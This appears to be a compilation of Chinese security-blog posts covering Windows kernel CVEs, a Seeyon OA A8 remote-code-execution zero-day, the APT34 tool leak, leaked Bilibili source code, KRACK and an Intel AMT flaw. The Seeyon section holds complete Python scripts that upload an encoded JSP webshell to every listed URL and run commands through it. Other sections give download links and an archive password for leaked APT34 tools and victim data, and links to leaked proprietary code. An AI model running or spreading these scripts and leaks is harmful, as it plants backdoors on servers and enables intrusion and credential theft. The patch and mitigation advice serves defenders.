首先... 这是非常值得重视的安全漏洞。

这两天，Google 安全研究团队一口气报了6个Windows 内核的高危漏洞。当中四个属于读跨界漏洞，一个空指针引用漏洞和一个win32k.sys TTF 字体处理漏洞。

Windows Kernel - Out-of-Bounds Read in nt!MiRelocateImage While Parsing Malformed PE File
Windows Kernel - Out-of-Bounds Read in CI!HashKComputeFirstPageHash While Parsing Malformed PE File
Windows Kernel - Out-of-Bounds Read in nt!MiParseImageLoadConfig While Parsing Malformed PE File
Windows Kernel - Out-of-Bounds Read in CI!CipFixImageType While Parsing Malformed PE File
Windows Kernel - NULL Pointer Dereference in nt!MiOffsetToProtos While Parsing Malformed PE File
Windows Kernel - win32k.sys TTF Font Processing Pool Corruption in win32k!ulClearTypeFilter

#CVE 号

在里面，至少有三个CVE号，影响范围相当的大.

CVE-2019-1341

Windows 提权漏洞

影响范围：Win7及以上全体desktop和server版本的Windows系统。

CVE-2019-1362

Windows Win32k 提权漏洞

影响范围：Win7、Win2008、Win2008R2 及其细分版本。

CVE-2019-1364

Windows Win32k 提权漏洞

影响范围：Win7、Win2008、Win2008R2 及其细分版本。

（除此之外，近日公布漏洞还有一个远程桌面客户端任意代码执行漏洞（CVE-2019-1333））

#漏洞细节

Google 安全研究团队公布了触发漏洞的细节，exploit-db上可以清楚地看到相应的bug触发条件和崩溃日志，以及触发此漏洞的POC。

#1 Windows Kernel - win32k.sys TTF Font Processing Pool Corruption in win32k!ulClearTypeFilter

触发漏洞的细节：

https://www.exploit-db.com/exploits/47484

poc：

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47484.zip

#2 Windows Kernel - NULL Pointer Dereference in nt!MiOffsetToProtos While Parsing Malformed PE File

触发漏洞的细节：

https://www.exploit-db.com/exploits/47485

poc：

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47485.zip

#3 Windows Kernel - Out-of-Bounds Read in CI!CipFixImageType While Parsing Malformed PE File

触发漏洞的细节：

https://www.exploit-db.com/exploits/47486

poc：

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47486.zip

#4 Windows Kernel - Out-of-Bounds Read in nt!MiParseImageLoadConfig While Parsing Malformed PE File

触发漏洞细的节：

https://www.exploit-db.com/exploits/47487

poc：

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47487.zip

#5 Windows Kernel - Out-of-Bounds Read in CI!HashKComputeFirstPageHash While Parsing Malformed PE File

触发漏洞的细节：

https://www.exploit-db.com/exploits/47488

poc：

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47488.zip

#6 Windows Kernel - Out-of-Bounds Read in nt!MiRelocateImage While Parsing Malformed PE File

触发漏洞的细节：

https://www.exploit-db.com/exploits/47489

poc：

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47489.zip

Google团队只提供了能触发漏洞的细节，并没有写相应的利用工具。

鉴于如此高危的漏洞集体蹦了出来，咱可爱的用户们... 赶紧点击Windows更新，打一下补丁...

前有phpstudy后门事件，最近又有TeamViewer后门事件。。。那就来说说吧



0x00 TeamViewer介绍



TeamViewer是一个能在任何防火墙和NAT代理的后台用于远程控制的应用程序，桌面共享和文件传输的简单且快速的解决方案。为了连接到另一台计算机，只需要在两台计算机上同时运行 TeamViewer 即可，而不需要进行安装（也可以选择安装，安装后可以设置开机运行）。该软件第一次启动在两台计算机上自动生成伙伴 ID。只需要输入你的伙伴的ID到TeamViewer，然后就会立即建立起连接。



0x01 影响版本



未知版本



0x02 预警内容



今天发现国外Twitter上有一博主(https://twitter.com/cglyer)声称“APT41组织攻破了TeamViewer后台，导致所有安装TeamViewer的机器可以被攻击者所控制。原文在这里：https://twitter.com/cglyer/status/1182413194360508419

APT41 compromised company behind TeamViewer - which enabled them to access any system with TeamViewer installed



消息暂未得到证实，但已有企业内网出现安装TeamViewer的机器再向其他机器进行ssh、rdp、mysql等服务的爆破。



0x03 防范建议

1、先卸载TeamViewer，对服务器进行排查。

2、如有远程控制需求，先使用替代产品。

3、排查内网中的弱口令，防止被攻破。

本文主要是对于昨日大概晚间八点左右在网上出现的关于致远 OA A8 协同管理软件被曝存在远程代码执行漏洞0day，且目前已有漏洞被在野利用，在中、大型政府企业中都广泛使用。文末给出致远getshell 0day poc批量检测脚本（python版本）

已验证影响版本：

A8 V7.0 SP3

A8 V6.1 SP2

(V6.1 SP1 验证尚不存在，其他版本未验证)

漏洞成因：

致远 A8+ 某些版本系统，存在远程任意文件上传文件上传漏洞，并且无需登录即可触发。攻击者构造恶意文件，成功利用漏洞后可造成Getshell。同时该系统的漏洞点在于致远OA-A8系统的Servlet接口暴露，安全过滤处理措施不足，使得用户在无需认证的情况下实现任意文件上传。攻击者利用该漏洞，可在未授权的情况下，远程发送精心构造的网站后门文件，从而获取目标服务器权限，在目标服务器上执行任意代码。

影响范围：

通过知道创宇旗下ZoomEye网络空间搜索引擎搜索结果，全球共有29,425个致远OA系统开放记录，中国为29,247个大部分分布在北京、广东、四川等省。

目前利用代码已在野外公开，漏洞验证效果如下，成功getshell样例截图：

  

缓解措施：

漏洞位置为：/seeyon/htmlofficeservlet，可以对该地址配置ACL规则。

或者联系官方获取补丁程序，官网地址：http://www.seeyon.com/Info/constant.html

临时修补方案如下：

1、 配置URL访问控制策略；

2、在公网部署的致远A8+服务器，通过ACL禁止外网对“/seeyon/htmlofficeservlet”路径的访问；

3、 对OA服务器上的网站后门文件进行及时查杀。

附上验证POC，致远getshell 0day poc批量检测脚本如下：

使用方法：

批量检测url

在脚本同目录下建立url.txt

放入待检测的URL运行脚本

分别为python2和python3版本：

# Wednesday, 26 June 2019
# Author:nianhua
# Blog:https://github.com/nian-hua/
# python2 版本

import re
import requests
import base64
from multiprocessing import Pool, Manager

def send_payload(url):

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}

    payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U="

    payload = base64.b64decode(payload)

    try:

        r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload)

        r = requests.get(
            url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming')

        if "wangming" in r.text:

            return url

        else:

            return 0

    except:

        return 0

def remove_control_chars(s):
    control_chars = ''.join(map(unichr, range(0,32) + range(127,160)))

    control_char_re = re.compile('[%s]' % re.escape(control_chars))

    s = control_char_re.sub('', s)

    if 'http' not in s:

        s = 'http://' + s

    return s

def savePeopleInformation(url, queue):

    newurl = send_payload(url)

    if newurl != 0:

        fw = open('loophole.txt', 'a')
        fw.write(newurl + '\n')
        fw.close()

    queue.put(url)

def main():

    pool = Pool(10)

    queue = Manager().Queue()

    fr = open('url.txt', 'r')

    lines = fr.readlines()

    for i in lines:

        url = remove_control_chars(i)

        pool.apply_async(savePeopleInformation, args=(url, queue,))

    allnum = len(lines)

    num = 0

    while True:

        print queue.get()

        num += 1

        if num >= allnum:

            fr.close()

            break

if "__main__" == __name__:

    main()

# Wednesday, 26 June 2019
# Author:nianhua
# Blog:https://github.com/nian-hua/
# python3 版本

import re
import requests
import base64
from multiprocessing import Pool, Manager

def send_payload(url):

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}

    payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U="

    payload = base64.b64decode(payload)

    try:

        r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload)

        r = requests.get(
            url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming')

        if "wangming" in r.text:

            return url

        else:

            return 0

    except:

        return 0

def remove_control_chars(s):
    control_chars = ''.join(map(chr, list(range(0,32)) + list(range(127,160))))

    control_char_re = re.compile('[%s]' % re.escape(control_chars))

    s = control_char_re.sub('', s)

    if 'http' not in s:

        s = 'http://' + s

    return s

def savePeopleInformation(url, queue):

    newurl = send_payload(url)

    if newurl != 0:

        fw = open('loophole.txt', 'a')
        fw.write(newurl + '\n')
        fw.close()

    queue.put(url)

def main():

    pool = Pool(10)

    queue = Manager().Queue()

    fr = open('url.txt', 'r')

    lines = fr.readlines()

    for i in lines:

        url = remove_control_chars(i)

        pool.apply_async(savePeopleInformation, args=(url, queue,))

    allnum = len(lines)

    num = 0

    while True:

        print(queue.get())

        num += 1

        if num >= allnum:

            fr.close()

            break

if "__main__" == __name__:

    main()

继上一篇博文-B站(bilibili)后端源码泄露,我们可以从中了解多少信息安全知识和代码里的有趣信息 ，这篇B站源码泄露后续-GO代码行数、网警锁定、关键词过滤、人气倍率、真假播放量、作弊粉丝数是后续的补充，吃瓜看看就好！你懂的，不能多说自己心里明白就好。

其中GO语言代码行数大概在350万行左右

有关网警锁定的相关代码片段:





有关人气倍数的代码片段：



关键词过滤片段代码：







有关作弊粉丝量、作弊播放量代码片段：



有关B站源码泄露的原因（真假不定，自行斟酌）-一开发的女票被上司睡了!开发不能忍，就做了这个事情。。。不明智啊！默念三遍：冲动是魔鬼！

B站源码泄露背景：

晚间逛V2社区的时候刷到了这么一条帖子：Openbilibili？ B 站在 Github 上公开了自己的后端源代码。 

下面各位V友吃瓜群众或喜闻乐见，或惊奇不已，我是个凡人我也不例外！作为一名合格的吃瓜群众，当然要立马去GitHub fork了一份，但是gayhub:https://github.com/openbilibili/go-common 却提示我This repository has been disabled.这个不能忍！最简单的办法就是看那些手快的已经fork了，在从他哪里fork一份过来，如果你fork失败那就直接下载，前面两种方法都不行的话可以看热心的V友们提供的分流下载地址，但是不保证原滋原味那怎么保证原汁原味呢？就有V有讨论了，看提交历史，其中有这么一段，

commit beccf3fe4313be190d655c9f0620a6b4fac0b522 (HEAD -> master, origin/master, origin/HEAD)
Author: root <[email protected]>
Date:   Mon Apr 22 02:59:20 2019 +0000

    init

但是紧接着就有不同的意见，并且复现了可以以特定的提交者信息显示，



而且这个GitHub账号openbilibili也是十个小时前全新创建的，



那么谁泄露的也就成了讨论热点，有的说是前员工，有的说是被黑了众说纷纭，我们不需要去追究谁，站方自然会去追究，我们来看一下这份源码有哪些有趣的地方。

第一个：弱口令



在源码在搜索root或者是123456，可以看到有dns和readDSN的连接是root:123456这样的简单的账号密码组合，当然地址是内网的，应该是内网的同意网关出口之类的，这也算一个安全隐患吧，要是别人进了内网或者是内网同事自扫描一波，那岂不是不可言喻...弱口令永远都是第一威胁，我在渗透测试中对于弱口令也是屡试不爽，比如拿到了后台账号或者数据库连接相关信息后，直接去连接远程桌面，有很大可能会成功，特别是前两者都为true的时候！这也表明管理员喜欢使用同一个账号密码的弱密码！

第二个：rank相关算法泄露

这些rank算法的泄露对于B站来说或许会有点麻烦，需要更新新的算法，不然大家都知道你的算法了，就很有可能据此找到相关漏洞从而加以利用，虽然B站在微博说了这是早前的代码不是最新的代码，但是后端大体的架构还是不会变化太多啊。官方微博原文：[在网上流传；经内部紧急核查；确认该部分代码；我们已经执行了主动的防御措施；确认此事件不会影响到网络安全和用户数据安全；我们已于第一时间报案；将调查其源头；]，但是微博后来又自己删除了，通过看代码的最后提交日期，搜索相关的关键词比如拜年这些，基本可以确定代码肯定不是最新的，但是也是最近半年的。但是事发后貌似B站的毛老师@毛剑表示：我都不慌，你们慌什么：



第三：GO语言在后端代码中占主要





其中Go 89.7% Python 10.1%，外加一些其他的shell脚本、html和javasript这些

第四：程序员和产品经理之间的战争



在源码中搜索fuck相关词语可以看到很多类似于fuck chanpin 、fuck game、fuck article等等

第五：还有比较耿直的注释



B站的弹幕你看到的不一定都是真实的！在源码中有这么一段代码，其注释显示在中奖环节，即使你没有中奖，系统也会代你发布弹幕！从而造成一种很多人中奖的现象，而且概率是20%！

第六：B站有趣的程序员



有一首打油诗：

代码垃圾非我意，
自己动手分田地；
你若气死谁如意？
谈笑风生活长命。
powered by 主站质保团队。

第七：疑似B站在线用户统计和HotWord热词





最后，我也fork了一份，对于感兴趣的可以去下载：https://github.com/Mr-xn/openbilibili ，看看学习一下他们的GO语言代码也是不错的。如果站方要求删除的话我会删除的，有需要的自己保存。

2019-04-25更新：Github 在 bilibili 通过dmca数据版权法案申诉后 屏蔽了，故我上传我之前打包的，欢迎下载：bilibilihide-master.zip bilibil_master.zip 两个版本时间先后不一样，作为学习 GO 下载学习一下还是不错的，也不影响。

近期，有匿名黑客开始泄露伊朗间谍组织APT 34（OilRig 或者 HelixKitten） 所使用的黑客工具，甚至还包括团队成员及受害者数据信息等等。虽然目前来看所泄露的工具并没有永恒之蓝如此复杂，但依然引发了大量安全研究者的持续关注。 从3月份开始，有人开始以“Lab Dookhtegan”这个名字在Telegram频道 https://t.me/lab_dookhtegan 中分享这些数据，截止我发这篇文章之时，已经有接近3100+人密切关注该频道发布的内容。

其中有118条 webshell  大多都是 OA系统 或者邮箱，APT 34 组织很会挑对象啊，这些系统都是有很多的有价值的数据。我注意了一下其中包含 China 的 webshell 就有13条，包括 www.cecep.cn(中国节能环保集团公司)、generali-china.cn(中意财产保险有限公司)、exchange.bestv.com.cn(BesTV网站-BesTV百变新视界)、bdo.com.cn(BDO立信)、lswebext.sdec.com.cn(上海柴油机股份有限公司(简称“上柴股份”))、mail.swsc.com.cn(西南证券)、mail.neway.com.cn(苏州纽威阀门股份有限公司)、crccre.cn(中国铁建房地产集团有限公司)，这些都是中国的公司，其中不乏一些大公司。如下图所示，其中大部分的邮箱OA系统应该都是同一套系统,估计APT 34组织有对应的 0day 或者是公司内部安全建设差，总之都是受害者，更应该反思。



更多详细的wenshell相关信息可以去这里看：https://pastebin.com/jVcZc8pR 当然文末也有目前已经放出来的所有的文件打包下载地址。

截止目前，该匿名者已经放出了6款黑客工具：

1.Glimpse（基于PowerShell的的新版木马，Palo Alto Networks命名为BondUpdater）

2.PoisonFrog（旧版BondUpdater）

3.HyperShell（称之为TwoFace的Palo Alto Networks网络外壳）

4.HighShell（另一个Web shell）

5.Fox Panel（钓鱼工具包）

6.Webmask（DNS隧道，DNSpionage背后的主要工具）

研究人员还检查了两个Web shell，发现HyperShell中名为“p”的cookie需要正确的密码才能获得访问权限。此外，Dookhtegan将所有最有意义的密码更改为“Th！sNotForFAN”。安全专家已确认这些泄露的工具和信息确实与APT 34组织有关。 Dookhtegan发布的信息还包括66名APT34组织受害者，主要是中东地区的政府机构和财务 能源公司，这与APT 34组织的先前情况一致。在有关受害者的阿联酋总统事务办公室（mopa.ae）的信息中，它还包括大约900个用户名和密码以及80多个webmail访问凭证。迪拜媒体公司的文件包括250多张优惠券。阿提哈德航空公司的信息包括10,000个用户名和明文密码，并通过Windows密码恢复工具的“高级版”破解获得。其他文件包括服务器信息 数据库转储和Mimikatz后利用工具输出数据。

目前泄露所有内容包下载地址：
https://s3-eu-west-1.amazonaws.com/malware-research.org/blogposts/apt34Leak/apt34leak.7z
解压缩密码：vJrqJeJo2n005FF *

原文地址：https://malware-research.org/apt34-hacking-tools-leak/

大概，今晚六七点多得时候，知名公众号---红队攻防揭秘，发文称：“预警” 阿里云 疑似存在未知0day 可重置任意服务器root密码，

但是，在发文不到一小时，就被删除了（不只是阿里云得公关还是作者自己删除的），然后就是安全全朋友圈，twitter等刷屏了。

阿里云这事。最先的消息源来自X秘圈，如图。随后被某公众号发布，该X秘圈涨价。
目前该公众号所发布的消息已经删除，且该公众号已经搜索不到。
网上流传和刷屏的信息都只有这张图，没有任何更多细节，假消息可能性偏大。
暂等待是否有进一步细节。



意思信息来自 https://twitter.com/APTp0 ，经Mrxn筛选整理。（如有不实之处，还请指正）

下面的都是我测试的一个而已（不止我一个人测试是这样，TG群有很多人测试了,排除什么端口扫描，因为又更详细的LOG，不方便贴），看图说话：

介绍

我们发现WPA2的严重弱点，WPA2是保护所有现代受保护的Wi-Fi网络的协议。受害者的范围内的攻击者可以利用使用这些弱点  ķ EY  ř einstallation  一个 TTA CK S（KRACKs）。具体来说，攻击者可以使用这种新颖的攻击技术来读取先前假定为安全加密的信息。这可能被滥用以窃取敏感信息，如信用卡号，密码，聊天信息，电子邮件，照片等。该攻击与所有现代受保护的Wi-Fi网络相抗衡。根据网络配置，还可以注入和操作数据。例如，攻击者可能能够将ransomware或其他恶意软件注入网站。

弱点在于Wi-Fi标准本身，而不是单独的产品或实现。因此，WPA2的正确实施可能会受到影响。为了防止攻击，用户必须在安全更新可用时立即更新受影响的产品。请注意，  如果您的设备支持Wi-Fi，则很有可能会受到影响。在我们初步的研究中，我们发现Android，Linux，Apple，Windows，OpenBSD，联发科技，Linksys等都受到一些攻击变体的影响。有关特定产品的更多信息，请查阅  CERT / CC数据库，或与您的供应商联系。

攻击背后的研究将在  计算机和通信安全（CCS）  会议和  黑帽欧洲  会议上发表。我们的  详细研究论文  已经可以下载了。

示范

作为一个概念验证，我们对Android智能手机执行了重要的重新安装攻击。在这个演示中，攻击者能够解密受害者发送的所有数据。对于攻击者来说，这是很容易完成的，因为我们的关键重新安装攻击对Linux和Android 6.0或更高版本是非常破坏性的。这是因为  Android和Linux可以被欺骗（重新）安装一个全零加密密钥  （有关详细信息，请参阅下文）。当攻击其他设备时，解密所有数据包是困难的，尽管可以解密大量数据包。在任何情况下，以下演示突出显示攻击者在对受保护的Wi-Fi网络执行关键重新安装攻击时可获得的信息类型：

YouTube视频请查资料观看：https://youtu.be/Oh4WURZoR98

我们的攻击并不限于恢复登录凭据（即电子邮件地址和密码）。通常，受害者传送的任何数据或信息都可以被解密。另外，根据正在使用的设备和网络设置，还可以解密向受害者发送的数据（例如网站的内容）。虽然网站或应用程式可能会使用HTTPS作为额外的保护层，但我们警告说，在令人担忧的情况下，这种额外的保护措施（仍然可以）被忽略。例如，HTTPS以前在非浏览器软件，  Apple的iOS和OS X，  Android应用程序，  Android应用程序，  银行应用程序甚至  VPN应用程序中都被绕过  。

细节

我们的主要攻击是针对WPA2协议的四次握手。当客户端要加入受保护的Wi-Fi网络时，执行握手，并用于确认客户端和接入点都具有正确的凭据（例如，网络的预共享密码）。同时，4路握手还协商一种新的加密密钥，用于加密所有后续流量。目前，所有现代保护的Wi-Fi网络都使用4路握手。这意味着所有这些网络都受到我们攻击的（某些变体）的影响。例如，攻击针对个人和企业Wi-Fi网络，针对较旧的WPA和最新的WPA2标准，甚至针对仅使用AES的网络。 我们对WPA2的所有攻击都使用一种称为重新安装攻击（KRACK）的新技术：

实际影响

在我们看来，最广泛和最具影响力的攻击是四次握手的关键重新安装攻击。我们根据两个观察结果作出判断。首先，在我们自己的研究中，我们发现大多数客户受到影响。第二，对手可以使用此攻击来解密客户端发送的数据包，从而拦截敏感信息，如密码或Cookie。分组的解密是可能的，因为密钥重新安装攻击导致传输随机（有时也称为分组号或初始化向量）被重置为零。因此，  与过去已经使用的随机数值一起使用相同的加密密钥。反过来，这将导致WPA2的所有加密协议重新使用  密钥流 加密数据包时。如果重用密钥流的消息具有已知内容，则导出所使用的密钥流变得微不足道。然后，该密钥流可以用于使用相同的随机数来解密消息。当没有已知的内容时，解密数据包是困难的，尽管在几种情况下仍然是可能的（例如，  英文文本仍然能被解密）。实际上，找到具有已知内容的数据包不是问题，因此应该假设任何数据包都可以被解密。

解密数据包的能力可用于解密TCP SYN数据包。这允许对手获取连接的TCP序列号，并  劫持TCP连接。因此，即使使用WPA2，对手现在可以对打开的Wi-Fi网络执行最常见的攻击：将恶意数据注入未加密的HTTP连接。例如，攻击者可以滥用这种方式将篡体或恶意软件注入受害者访问的网站。

如果受害者使用WPA-TKIP或GCMP加密协议，而不是AES-CCMP，这种影响尤其是灾难性的。 针对这些加密协议，nonce重用使得对手不仅可以解密，而且可以伪造和注入数据包。此外，因为GCMP在两个通信方向上使用相同的认证密钥，并且如果随机数被重用，则该密钥可以被恢复，所以特别受到影响。请注意，目前正在以无线千兆（WiGig）的名义推出对GCMP的支持，预计   在未来几年内将以高速率采用。

数据包可以被解密（可能被伪造）的方向取决于握手被攻击。简化，当攻击4路握手时，我们可以解密（和伪造） 客户端发送的数据包  。当攻击Fast BSS Transition（FT）握手时，我们可以解密（和伪造）发送给  客户端的数据包  。最后，我们的大多数攻击还允许播放单播，广播和多播帧。有关详细信息，请参阅我们研究论文的第6节  。

请注意，我们的攻击  无法恢复Wi-Fi网络的密码。它们也不会在四次握手期间恢复（任何部分）新协商的加密密钥。

Android和Linux

我们的攻击对于2.4以上的wpa_supplicant（通常在Linux上使用的Wi-Fi客户端）尤其严重。在这里，客户端将安装一个全零加密密钥，而不是重新安装真正的密钥。这个漏洞似乎是由Wi-Fi标准中的一个注释造成的，建议在第一次安装之后，从内存中清除加密密钥。当客户端现在接收到四次握手的重传消息3时，它将重新安装现在已经清除的加密密钥，有效安装全零密钥。由于Android使用wpa_supplicant，Android 6.0及更高版本也包含此漏洞。这使得拦截和操纵这些Linux和Android设备发送的流量变得  微不足道。请注意，目前  41％的Android设备 很容易受到我们攻击这个特别破坏性的变种。

分配的CVE标识符

分配了以下常见漏洞和披露（CVE）标识符，以跟踪哪些产品受到重要重新安装攻击的特定实例的影响：

• CVE-2017-13077：在四次握手中重新安装成对加密密钥（PTK-TK）。
• CVE-2017-13078：在四次握手中重新安装组密钥（GTK）。
• CVE-2017-13079：在四次握手中重新安装完整性组密钥（IGTK）。
• CVE-2017-13080：在组密钥握手中重新安装组密钥（GTK）。
• CVE-2017-13081：在组密钥握手中重新安装完整性组密钥（IGTK）。
• CVE-2017-13082：在处理它时接受重发的快速BSS过渡（FT）重新关联请求并重新安装成对加密密钥（PTK-TK）。
• CVE-2017-13084：在PeerKey握手中重新安装STK密钥。
• CVE-2017-13086：在TDLS握手中重新安装隧道直连设置（TDLS）PeerKey（TPK）密钥。
• CVE-2017-13087：处理无线网络管理（WNM）睡眠模式响应帧时重新安装组密钥（GTK）。
• CVE-2017-13088：处理无线网络管理（WNM）睡眠模式响应帧时重新安装完整性组密钥（IGTK）。

文章参考:

https://www.krackattacks.com/?isappinstalled=0&from=timeline

英特尔周一发布消息称，安全研究人员Maksim Malyutin发现一款关键安全漏洞“CVE-2017-5689”，并于三月报告了该漏洞。其影响了使用英特尔AMT、ISM或SBT的企业PC和设备。要获取英特尔补丁关闭该漏洞，机器制造商必须进行固件升级。

而这个关键安全漏洞存在数百万的英特尔工作站和服务器芯片中长达9年之久，该漏洞潜在被利用可执行远程控制操作，并通过间谍软件感染系统。

Chipzilla公司指出，具体而言，Intel的主动管理技术（AMT）、标准可管理（ISM）和小型企业技术（SBT）固件版本6到11.6均存在该漏洞。这个漏洞允许无特权的攻击者控制这些产品提供的可管理性功能。

这就意味着，黑客可以使用AMT的功能，登录进入易受攻击的计算机硬件，秘密篡改机器，并安装几乎不会被检测到的恶意软件等。这种影响可以是跨网络的，因为AMT可以直接访问计算机的网络硬件。

近十年来，这些不安全的管理功能存在于多种不同的英特尔芯片组中，从2008年的Nehalem Core i7到今年的Kaby Lake Core部件。至关重要的是，这个漏洞存在于机器芯片的核心，操作系统、应用程序和任何反病毒软件都无从察觉。

而且，这个漏洞只能通过固件升级彻底解决，并且存在于数百万个芯片中，意味着进入全球计算机的后门。

漏洞的影响范围

这个易受攻击的AMT服务是英特尔vPro处理器功能套件的一部分。如果系统上存在vPro，并启用了该服务，并且配置了AMT，那么网络上未经验证的黑客便可以访问并劫持计算机的AMT控制。如果未配置AMT，则无需担心。

英特尔认为，该漏洞影响了企业和服务器固件，因为它们均存在并启用了vPro和AMT，并非针对普通用户使用的系统。

如果用户使用的机器启用了vPro和AMT功能，用户将面临风险。值得注意的是虽然现代的苹果Macs使用的是英特尔芯片，但并未使用AMT软件，因此Macs是安全的，用户可以放心使用。

但消费者电脑未受到影响，因为目前为止英特尔尚未发现对此漏洞的利用案例。

英特尔表示：

• 无特权的网络攻击者可以获取英特尔可管理性SKU的系统特权：AMT和ISM。

• 无特权的本地攻击者可以提供可管理性功能获取英特尔可管理SKU上的无特权网络或本地系统特权：AMT、ISM和SBT.

很显然，英特尔SBT不易受到通过网络执行的特权升级攻击。受影响的固件版本和处理器如下，使用AMT、ISM或SBT的客户应留心。

• 第一代Core系列：6.2.61.3535

• 第二代Core系列：7.1.91.3272

• 第三代Core系列：8.1.71.3608

• 第四代Core系列：9.1.41.3024和9.5.61.3012

• 第五代Core系列：10.0.55.3000

• 第六代Core系列：11.0.25.3001

